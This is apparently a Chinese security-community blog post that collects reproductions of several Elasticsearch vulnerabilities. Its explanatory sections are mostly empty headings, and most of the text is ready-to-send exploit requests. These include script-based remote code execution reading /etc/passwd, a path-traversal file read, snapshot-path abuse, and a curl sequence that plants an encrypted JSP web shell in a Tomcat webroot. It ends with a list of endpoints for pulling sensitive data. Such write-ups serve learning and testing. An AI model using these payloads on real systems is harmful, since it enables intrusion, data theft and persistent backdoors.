ElasticSearch漏洞复现集合
白帽子社区
共 6327字，需浏览 13分钟
·
2021-02-18 16:14
作者：巧克力威化饼 编辑：白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF，欢迎各位在这里练习、学习，BMZCTF全身心为网络安全赛手提供优质学习环境，链接（http://www.bmzclub.cn/）
"
简介
Elasticsearch是面向文档型数据库，一条数据在这里就是一个文档，用JSON作为文档序列化的格式，比如下面这条用户数据
{"name" : "John","sex" : "Male","age" : 25,"birthDate": "1990/05/01","about" : "I love to go rock climbing","interests": [ "sports", "music" ]}
环境搭建
import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
影响版本
复现
|
POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 343{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}}
编码网址：http://www.jackson-t.ca/runtime-exec-payloads.html
原理
复现
POST /website/blog/ HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 25{"name": "ceshi"}
POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/textContent-Length: 156{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
原理
影响版本
复现
POC：GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1Host: your-ip:9200Accept:*/*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Connection: close
原理
影响版本
复现
PUT /_snapshot/ceshi HTTP/1.1Host: yourip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 109{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/ceshi"}}
PUT /_snapshot/ceshi2 HTTP/1.1Host: yourIP:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 126{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/ceshi/snapshot-backdata"}}
原理
影响版本
复现
curl -XPOST http://ip:9200/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'
curl -XPUT 'http://ip:9200/_snapshot/yz.jsp' -d '{"type": "fs","settings": {"location": "/usr/local/tomcat/webapps/wwwroot/","compress": false}}'
curl -XPUT "http://ip:9200/_snapshot/yz.jsp/yz.jsp" -d '{"indices": "yz.jsp","ignore_unavailable": "true","include_global_state": false}'
http://192.168.187.136:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=%3c%25%40page+import%3d%22java.util.*%2cjavax.crypto.*%2cjavax.crypto.spec.*%22%25%3e%3c%25!class+U+extends+ClassLoader%7bU(ClassLoader+c)%7bsuper(c)%3b%7dpublic+Class+g(byte+%5b%5db)%7breturn+super.defineClass(b%2c0%2cb.length)%3b%7d%7d%25%3e%3c%25if(request.getParameter(%22pass%22)!%3dnull)%7bString+k%3d(%22%22%2bUUID.randomUUID()).replace(%22-%22%2c%22%22).substring(16)%3bsession.putValue(%22u%22%2ck)%3bout.print(k)%3breturn%3b%7dCipher+c%3dCipher.getInstance(%22AES%22)%3bc.init(2%2cnew+SecretKeySpec((session.getValue(%22u%22)%2b%22%22).getBytes()%2c%22AES%22))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b%25%3e
/_cat/_cat/indices/_plugin/head/ web管理界面/_plugin/sql//_nodes 查看节点数据/_river/_search 查看数据库敏感信息/_search/_search?preety/_status
评论